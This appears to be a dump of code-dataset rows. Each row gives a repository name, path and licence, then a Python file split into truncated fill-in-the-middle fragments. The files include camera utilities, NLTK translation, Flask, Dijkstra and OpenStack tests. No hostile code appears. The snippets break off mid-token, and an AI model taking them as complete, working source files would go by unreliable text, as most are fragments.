# This is the desired resolution of the Pi camera
resolution = (320, 240)
# This is the desired maximum framerate, 0 for maximum possible throughput
framerate = 0
# These are the resolution of the output display, set these
displayWidth ... | dth*downsampleXFactor,_height*downsampleYFactor)
def get_brightness(img):
hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)
averageBrightness = int(cv2.mean(hsv[:,:,2])[0])
| return bytearray(format(averageBrightness,'05d'))
def equalize_brightness(img):
hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
hsv[:,:,2] = cv2.equalizeHist(hsv[:,:,2])
img = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)
return img
def equalize_hist(img):
for c in xrange(0, 2):
img[:,:,c] = cv2.eq... |
nelango/ViralityAnalysis | model/lib/nltk/translate/ibm3.py | Python | mit | 13,875 | 0.000865 | # -*- coding: utf-8 -*-
# Natural Language Toolkit: IBM Model 3
#
# Copyright (C) 2001-2013 NLTK Project
# Authors: Chin Yee Lee, Hengfeng Li, Ruxin Hou, Calvin Tanujaya Lim
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
"""
Translation model that considers how a word can be aligned to
multiple w... | tence. The existence of these words is modeled by p1, the probability
that a target word produced by a | real source word requires another
target word that is produced by NULL.
The EM algorithm used in Model 3 is:
E step - In the training data, collect counts, weighted by prior
probabilities.
(a) count how many times a source language word is translated
into a target language word
... |
garrettcap/Bulletproof-Backup | wx/lib/agw/pybusyinfo.py | Python | gpl-2.0 | 9,862 | 0.005983 | """
:class:`PyBusyInfo` constructs a busy info window and displays a message in it.
Description
===========
:class:`PyBusyInfo` constructs a busy info w | indow and displays a message in it.
This cla | ss makes it easy to tell your user that the program is temporarily busy.
Just create a :class:`PyBusyInfo` object, and within the current scope, a message window
will be shown.
For example::
busy = PyBusyInfo("Please wait, working...")
for i in xrange(10000):
DoACalculation()
del busy
It works... |
HugoGuillen/nb2py | tutorial_files/custom.py | Python | mit | 70 | 0.057143 | #This is a cell with a custom comment as marker
x=10
y | =11
print | (x+y)
|
foobarbazblarg/stayclean | stayclean-2017-may/serve-challenge-with-flask.py | Python | mit | 10,823 | 0.003326 | #!/usr/bin/python
# TODO: issues with new oauth2 stuff. Keep using older version of Python for now.
# #!/usr/bin/env python
import subprocess
import praw
import datetime
import pyperclip
from hashlib import sha1
from flask import Flask
from flask import Response
from flask import request
from cStringIO import StringI... | lay.py stdout to clipboard">')
stringio.write('<input type="submit" name="actiontotake" value="Automatically post display.py stdout">')
stringio.wri | te('</form>')
stringio.write('<form action="updategooglechart.html" method="post" target="invisibleiframe">')
stringio.write('<input type="submit" value="update-google-chart.py">')
stringio.write('</form>')
for comment in flat_comments:
# print comment.is_root
# print comment.score
... |
Ikusaba-san/Chiaki-Nanami | emojistemplate.py | Python | mit | 2,702 | 0.00037 | """Config file for the emojis that Chiaki will use.
RENAME THIS FILE TO emojis.py OTHERWISE IT WON'T WORK.
By default it uses the unicode emojis. However, you can specify
server emojis in one of the two possible ways:
1. The raw string of the emoji. This is the format <:name:id>. You can find this
by placing a ba... | f you want to be able to use external
# emojis for Minesweeper. This only applies to Mineswe | eper as this changes
# the control scheme if she's able to use external emojis.
#
# Note that if Chiaki doesn't have Use External Emojis she'll be forced to
# use the default control scheme by default.
msw_use_external_emojis = False
msw_y_row = [
# Should have emojis representing 1-17.
# If you set msw_use_ex... |
jmartinm/invenio | modules/miscutil/lib/urlutils_unit_tests.py | Python | gpl-2.0 | 18,616 | 0.004835 | # -*- coding: utf-8 -*-
##
## This file is part of Invenio.
## Copyright (C) 2009, 2010, 2011 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## License, or (at yo... | f.assertEqual(0,
wash_url_argument('ellis', 'int'))
self.assertEqual("ellis",
wash_url_argument('ellis', 'str'))
self.assertEqual(["ellis | "],
wash_url_argument('ellis', 'list'))
self.assertEqual(0,
wash_url_argument(['ellis'], 'int'))
self.assertEqual("ellis",
wash_url_argument(['ellis'], 'str'))
self.assertEqual(["ellis"],
wash_url... |
ddeepak6992/Algorithms | Graph/Dijkstra.py | Python | gpl-2.0 | 935 | 0.019251 | # -*- coding: utf-8 -*-
"""
Created on Tue Nov 17 19:41:46 2015
@author: deep
"""
from graph import weightedGraph
import heapq
def djikstra(a,S):
N = len(a.adjLst)
Visited = [False for i in xrange(N)]
Distance = [float('inf') for i in xrange(N)]
Distance[S] = 0
heap = []
heapq.heappush(heap,(0,... | Visited[v]:
if Distance[v] > Distance[u] + weight_uv:
Distance[v] = Distance[u] + weight_uv
heapq.heappush(heap, (Distance[v],v))
print Distance
return Distance
g = weightedGraph( | 4)
g.addEdge(0,1,1)
g.addEdge(1,2,2)
g.addEdge(2,3,3)
g.addEdge(3,0,4)
djikstra(g,0)
|
Brocade-OpenSource/OpenStack-DNRM-Nova | nova/tests/scheduler/test_scheduler_options.py | Python | apache-2.0 | 5,241 | 0.001145 | # Copyright 2011 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | = datetime.datetime(2013, 1, 1, 1, 1, 1)
old_data = dict(a=1, b=2, c=3)
data = dict(a=11, b=12, c=13)
jdata = jsonutils.dumps(data)
fake = FakeSchedulerOptions(last_checked, now, file_old, file_now,
old_data, jdata)
s... | als(data, fake.get_configuration('foo.json'))
self.assertTrue(fake.file_was_loaded)
|
RyanNoelk/ClanLadder | django_ajax/__init__.py | Python | mit | 1,900 | 0 | """
Init
"""
from __future__ import unicode_literals
import datetime
import os
import subprocess
VERSION = (2, 2, 13, 'final', 0)
def get_version(version=None):
"""
Returns a PEP 386-compliant version number from VERSION.
"""
if not version:
version = VERSION
else:
assert len(ver... | r(version[4])
return str(main + sub)
def get_git_changeset():
"""
Returns a numeric identifier of the latest git changeset.
The result is the UTC timestamp of the changeset in YYYYMMDDHHMMSS format.
This value isn't guaranteed to be unique, but collisions are very unlikely,
so it's suff | icient for generating the development version numbers.
"""
repo_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
git_log = subprocess.Popen('git log --pretty=format:%ct --quiet -1 HEAD',
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
... |
ldamewood/kaggle | facebook/combine.py | Python | mit | 1,058 | 0.005671 | # -*- coding: utf-8 -*-
import pandas as pd
from itertools import izip
import numpy as np
import glob
from facebook import FacebookCompetition
print('Loading test data')
bids = pd.read_csv(FacebookCompetition.__data__['bids'])
test = pd.read_csv(FacebookCompetition.__data__['test'])
te = pd.merge(test, bids, how='lef... | = A.sum(axis=1)[:, np.newaxis]
A = A[:,0]
df = pd.DataFrame(A)
df.index = chunks[0].index
df.columns = chunks[0].columns
c.append(df)
df = pd.concat(c)
df.index = te.bidder_id
df = df.groupby(level=0).mean()
df.columns = ['prediction' | ]
df.to_csv('data/facebook.te.20150509_1.csv', index_label='bidder_id') |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.